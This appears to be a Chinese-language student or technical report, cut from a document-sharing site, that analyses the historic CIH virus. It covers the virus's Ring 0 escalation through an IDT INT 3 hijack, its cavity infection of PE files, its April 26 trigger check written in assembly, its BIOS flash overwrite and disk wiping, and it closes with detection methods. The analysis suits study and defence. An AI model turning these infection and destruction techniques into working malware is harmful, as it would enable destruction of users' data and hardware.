开始 用SIDT指令获取中断描述表符 把IDT的INT 3 的入口地址改为指向CIH自 己的INT3程序入口部分 INT3 ?DRO==0 MOV dr0,eax int 20h VxD call Page Allocate CopyViruscodetoSystemPage int 3 int 20h Call IFSMgr_InstallFileSystemApiHook lea DR0, IFSMgr_Ring0_FileIO 恢复原int3中断向量,退出int3 [键入文字] - 26 -
病毒的运行机制
同传统的DOS型病毒相比,是在内存的驻留方式上还是传染的方式上以及病毒攻击的对象上,CIH病毒都于众不同,新颖独到。病毒的代码不长,CIHv1.2只有1003个字节,其他版本也大小差不多。它绕过了微软提供的应用程序界面,绕过了ActiveX、C++甚至C,使用汇编,利用VxD(虚拟设备驱动程序)接口编程,直接杀入Windows内核。它没有改变宿主文件的大小,而是采用了一种新的文件感染机制即碎洞攻击(fragmented
cavity attack),将病毒化整为零,拆分成若干块,插入宿主文件中去;最引人注目的是它利用目前许多BIOS芯片开放了可重写的特性,向计算机主板的BIOS端口写入乱码,开创了病毒直接进攻计算机主板芯片的先例。可以说CIH病毒提供了一种全新的病毒程序方式和病毒发展方向。下面对该病毒作进一步的剖析,该病毒程序由三部分组成。
1.CIH病毒的驻留(初始化)
当运行带有该病毒的.EXE时,由于该病毒修改了该文件程序的入口地址(Address of EntryPoint),首先调入内存执行的是病毒的驻留程序,驻留程序长度为184字节,其驻留主要过程如下: 1.用SIDT指令取得IDT base address(中断描述符表基地址),然后把IDT的INT 3 的入口地址改为指向CIH自己的INT3程序入口部分;
2.执行INT 3指令,进入CIH自身的INT 3入口程序,这样,CIH病毒就可以获得Windows最高级别的权限(Ring
0级),可在Windows的内核执行各种操作(如终止系统运行,直接对内存读写、截获各种中断、控制I/O端口等,这些操作在应用程序层Ring
3级是受到严格的)。病毒在这段程序中首先检查调试寄存器DR0的值是否为0,用以判断先前是否有CIH病毒已经驻留。
3.如果DR0的值不为0,则表示CIH病毒程式已驻留,病毒程序恢复原先的INT 3入口,然后正常退出INT3,跳到过程9;
4.如果DR0值为0,则CIH病毒将尝试进行驻留。首先将当前EBX寄存器的值赋给DR0寄存器,以生成驻留标记,然后调用INT 20中断,使用VxD
call Page Allocate系统调用,请求系统分配2个PAGE大小的Windows系统内存(system
memory),Windows系统内存地址范围为C0000000h~FFFFFFFFh,它是用来存放所有的虚拟驱动程序的内存区域,如果程序想长期驻留在内存中,则必须申请到此区段内的内存。
5.如果内存申请成功,则从被感染文件中将原先分成多块的病毒代码收集起来,并进行组合后放到申请到的内存空间中;
6.再次调用INT 3中断进入CIH病毒体的INT 3入口程序,调用INT20来完成调用一个IFSMgr_InstallFileSystemApiHook的子程序,在Windows内核中文件系统处理函数中挂接钩子,以截取文件调用的操作,这样一旦系统出现要求开启文件的调用,则CIH病毒的
[键入文字]
[键入文字] - 27 -
传染部分程序就会在第一时间截获此文件;
7.将同时获取的Windows默认的IFSMgr_Ring0_FileIO(核心文件输入/输出)服务程序的入口地址保留在DR0寄存器中,以便于CIH病毒调用;
8.恢复原先的IDT中断表中的INT 3入口,退出INT 3;
9.根据病毒程序内隐藏的原文件的正常入口地址,跳到原文件正常入口,执行正常程序。
2.病毒的感染
CIH病毒的传染部分实际上是病毒在驻留内存过程中调用Windows
内核底层函数IFSMgr_InstallFileSystemApiHook函数挂接钩子时指针指示的那段程序。这段程序共586字节,感染过程如下:
1.文件的截获
每当系统出现要求开启文件的调用时,驻留内存的CIH病毒就截获该文件。病毒调用INT20的VxD call UniToBCSPath系统功能调用取回该文件的名和路径。
2.EXE文件的判断
对该文件名进行分析,若文件扩展名不为\".EXE\",不传染,离开病毒程序,跳回到Windows内核的正常文件处理程序上;
3.PE格式.EXE判别
目前,在Windows 95/98以及Windows NT,可执行文件.EXE采用的是PE格式。PE格式文件不同于MS-DOS文件格式和WIN
3.X(NE格式,Windows and OS/2 Windows 3.1 execution File Format)。PE格式文件由文件头和代码区(.text Section)、数据区(.data Section)、只读数据区(.rdata Section)、资源信息区(.rsrc Section)等文件实体部分组成。其中文件头又由MS-DOS MZ头、MS-DOS实模式短程序、PE
文件标识(Signature)、PE文件头、PE文件可选头以及各个Sections头组成。其格式结构图见图1。
Windows PE格式文件结构的详细分析可到下列网址查阅:
http://www.microsoft.com/win32dev/base/pefile.htm
CIH病毒感染的就是PE格式可执行文件!
当病毒确认该文件是.EXE文件后,打开该文件,取出该文件的 PE文件标识符(Signature),进行分析,若Signature=\"00455000\"(00PE00),则表明该文件是PE格式的可执行文件,且尚未感染,跳到过程4,对其感染;否则,认为是已感染的PE格式文件或该文件是其它格式的可执行文件,如MS-DOS或WIN
3.X NE格式,不进行感染,而直接跳到病毒发作模块上执行;
4.病毒首块的寄生计算:
以往的文件型病毒,通常是将病毒程序追加到正常文件的后面,通过修改程序首指针,来执行病毒程
[键入文字]
[键入文字] - 28 -
序的。这样,受感染的文件的长度会增加。CIH病毒则不是。它利用了PE格式文件的文件头和各个区(Section)都可能存在自由空间碎片这一特性,将病毒程序拆成若干不等的块,见缝插针,插到感染文件的不同的区(Section)内。
CIH病毒的首块程序是插在PE文件头的自由空间内的。病毒首先从文件的第134字节处读入82个字节,这82个字节包含了该文件的程序入口地址(address
of EntryPoint),文件的分区数(Number of Section),第一个Section header
首址以及整个文件头大小(Size of Headers=MS header+PE file header+PE optional header+PE section headers+自由空间)等参数。以计算病毒首块存放的位置和大小。
通常PE格式文件头的大小为1024字节,而MS header为128字节,PE file header(包括PE Signature)为24字节,PE optional header为224字节,以上共376字节,Section headers 大小是根据Sections 数量来确定的,但每个Section的大小是固定的,为40字节。一般情况下,Section有5~6个即.text区、.bbs区、.data区、idata区、rsrc区以及reloc区。这样计算下来,整个文件头有408~448字节的自由空间提供给病毒使用。
在PE格式文件头的自由空间里,CIH病毒首先占用了(Section数+1)*8个字节数的空间(本文称为病毒块链表指针区),用于存放每个病毒块的长度(每块4字节)和块程序在文件里的首地址(每块4字节)。然后将计算出的可寄存在文件头内的病毒首块字节数,送入病毒链表指针区;修改PE文件头,用病毒入口地址替换PE文件头原文件程序入口地址,而将原文件的入口地址保存在病毒程序的第94字节内,以供病毒执行完后回到正常文件执行上来。
由于病毒的首块部分除了病毒块链表指针区外必须包含病毒的184字节驻留程序,若文件头的自由空间不足,病毒不会对该文件进行感染。只是将该文件置上已感染标志。
5.病毒其余块的寄生计算
剩余的病毒代码是分块依次插入到各Section里的自由空间里的。
要确定该区(Section)是否有自由空间,可通过查看Section Header里的参数确定。Section Headers区域是紧跟在PE
Optional Header 区域后面。每个Section Header共占40个字节,由Name(区名)、VirtSize(本已使用大小)、RVA(本区的虚拟地址)、PhysSize(区物理大小)、Phys
off(本区在文件中的偏移量)和Flags(标志)组成。其结构如下所示:
typedef struct _IMAGE_SECTION_HEADER {
UCHAR Name[8];
ULONG VirtSize;
ULONG RVA;
[键入文字]
[键入文字] - 29 -
ULONG PhysSize;
ULONG Pyus off;
ULONG PointerToRelocations;
ULONG PointerToLinenumbers;
USHORT NumberOfRelocations;
USHORT NumberOfLinenumbers;
ULONG Flags;
} IMAGE_SECTION_HEADER
病毒将整个Section Headers读入内存,取第一个Section Header,计算出该Section的自由空间(=PhysSize-VirtSize),以确定可存放到该区的病毒块字节数;计算出病毒块在该区的物理存放位置(=Physoff+VirtSize);计算出病毒块在该文件的逻辑存放位置(=VirtSize+RVA+ImageBase);修改VirtSize(=该块病毒长度+原VirtSize);修改Flags,置该区为已初始化数据区和可读标志;将该区的病毒块长度和逻辑指针参数写入病毒链表指针区相应区域;求出病毒剩余长度,并取下一个Section
Header。反复前面的操作,直到病毒全部放入为止。
6.写入病毒
病毒程序在前面只是计算出了病毒的分块、长度和插入到文件的位置等参数,将这些参数用PUSH指令压入栈中。在计算完所有病毒存放位置后,才从栈中POP出进行写盘操作。写盘的步骤如下:
以逆序将各块病毒写入文件各区(Section)相应的自由空间中; 将病毒首块写入文件头自由空间内; 将病毒块链表指针区写入文件头;
将修改后的Section Headers写回文件;
将修改后的PE File Header 和 PE File Option Header写回文件
置病毒感染标志,将IFSMgr_Ring0_FileIO程序的第一个字节(通常是55h='U',即PUSH EBP的操作代码)写到PE文件标识符(Signature)'PE'的前一地址内(原为00h),'00PE0000'改为了'UPE0000'。
病毒读入文件和写入文件都是通过调用系统内核的IFSMgr_Ring0_FileIO的读(EAX=0000D600)和写(EAX=0000D601)功能实现的。
病毒在PE格式文件中存放位置见图2。
2.病毒的发作
[键入文字]
[键入文字] - 30 -
1.病毒发作条件判断
在CIHv1.4中,病毒的发作日期是4月26日,病毒从COMS的70、71端口取出系统当前日期,对其进行判断:
MOV AX,0708 OUT 70,AL
IN AL,71 取当前系统月份->AL XCHG AL,AH OUT 70,AL
IN AL,71 取当前系统日->AL XOR AX,0426 是否为4月26日 JZ 病毒发作程序
如果系统当前日期不是4月26日,则离开病毒程序,回到文件的原正常操作上去;若正好是4月26日,则疯狂的CIH病毒破坏开始了!
2.病毒的破坏
①通过主板的BIOS端口地址0CFEH和0CFDH向BIOS引导块(boot block)内各写入一个字节的乱码,造成主机无法启动。
为了保存BIOS中的系统基本程序,BIOS先后采用了两种不同的存储芯片:ROM和PROM。ROM(只读存储器)广泛应用于x86时代,它所存储的内容不可改变,因而在当时也不可能有能够攻击BIOS的病毒;然而,随着闪存(FlashMemory)价格的下跌,奔腾机器上BIOS普遍采用PROM(可编程只读存储器),它可以在12伏以下的电压下利用软件的方式,从BIOS端口中读出和写入数据,以便于进行程序的升级。
CIH病毒正是利用闪存的这一特性,往BIOS里写入乱码,造成BIOS中的原内容被会彻底破坏,主机无法启动。
所幸的是,CIH只能对少数类型的主板BIOS构成威胁。这是因为,BIOS的软件更新是通过直接写端口实现的,而不同主板的BIOS端口地址各不相同。现在出现的CIH只有1K,程序量太小,还不可能存储大量的主板和BIOS端口数据。它只对端口地址为0CFEH和0CFD的BIOS(据有关资料为Intel
430TX chipset、部分Pentium chipsets)进行攻击。
②覆盖硬盘
通过调用Vxd call
IOS_SendCommand直接对硬盘进行存取,将垃圾代码以2048个扇区为单位,从硬盘主引导区开始依次循环写入硬盘,直到所有硬盘(含逻辑盘)的数据均被破坏为止。
3.病毒的清除
[键入文字]
[键入文字] - 31 -
目前,检测和清除CIH病毒的程序已有很多, KV300、瑞星、Norton
Antiviurs,这些杀病毒工具都非常有效。受CIH病毒破坏后系统如何恢复的文章也有不少。这里本文只给出一般的检测和清除方法和程序。
病毒的检测
①利用\"资源管理器\"进行搜寻
具体的搜索方法为:首先开启\"资源管理器\",选择其中的菜单功能\"工具>查找>文件或文件夹\",在弹出的\"查找文件\"设置窗口的\"名称和位置\"输入中输入查找路径及文件名(如:*.EXE),然后在\"高级>包含文字\"栏中输入要查找的特征字符串----\"CIH
v\",最后点取\"查找键\"即可开始查找工作。如果在查找过程中,显示出一大堆符合查找特征的可执行文件,则表明你的计算机上已经感染了CIH病毒。
但这种方法中存在着一个致命的缺点,那就是:如果用户已感染了CIH病毒,那么这样一个大面积的搜索过程实际上也是在扩大病毒的感染面。
②Debug检测PE Signature
用\\windows\\command\\debug.com检测.EXE。
通过\"程序\"进入\"MS-DOS方式\",在MS-DOS方式下: DEBUG XXX.EXE -D CS:3F 41
如果显示的值是0x5550(\"UPE\"),则该文件有可能已经感染了CIH病毒。
特权级
[键入文字]
[键入文字] - 32 -
特权级(Ring)也叫(hierarchical protection domains),有的也称为用户态(user mode)。它是一种机制来保护数据和阻止恶意行为(确保计算机安全)。电脑操作系统提供不同权限访问级别的资源。特权级分为4级,特权级0、1、2、3。 在windows中只使用特权级0和特权级3。特权最高的一般是特权级0,可以直接操作硬件,如CPU和内存。一般操作系统和驱动运行在此级别下。特权级3是给一般的程序使用的,可以调用基本的CPU指令。在特权级三无法调用特权级0的指令,如果调用则显示为非法指令。
引用特权级的概念是为了保护计算机,一些危险指令只有操作系统可以执行,防止普通程序滥用其他程序的资源。如间谍软件要想开启摄像头就必须向特权级0的驱动程序请求开启,否则就不允许。
VxD
虚拟设备驱动程序被简称为VxD。x代表各种设备的名字,如虚拟键盘驱动程序(vkd),虚拟鼠标驱动程序(vmd)等等。VxD程序是硬件成功初始化的途径。记得dos程序认为它们拥有系统的一切,当它们在虚拟机中运行时,Windows需要给它们一个实机器的替身。VxD程序就是这些替身。VxD程序通常虚拟一些硬件设备,所以,例如当一个dos程序认为它在同键盘通讯时,实际是虚拟键盘驱动程序在和dos程序通讯。一个VxD程序通常控制真正的硬件设备并对该设备在各个虚拟机之间的共享进行管理。 尽管如此,并不是说每个VxD程序必须和一个硬件设备相连。虽然VxD程序是用来虚拟硬件设备的,但是我们也可以把VxD程序看作是在第0级别的dll。例如,如果你需要做一些只有在第0级别
[键入文字]
[键入文字] - 33 -
才能做的工作,你就可以编一个VxD程序来为你完成这个工作。这样,由于此VxD程序并没有虚拟任何设备,你就可以把它仅仅看作是你的程序的扩展
[键入文字]
因篇幅问题不能全部显示,请点此查看更多更全内容
Copyright © 2019- haog.cn 版权所有 赣ICP备2024042798号-2
违法及侵权请联系:TEL:199 1889 7713 E-MAIL:2724546146@qq.com
本站由北京市万商天勤律师事务所王兴未律师提供法律服务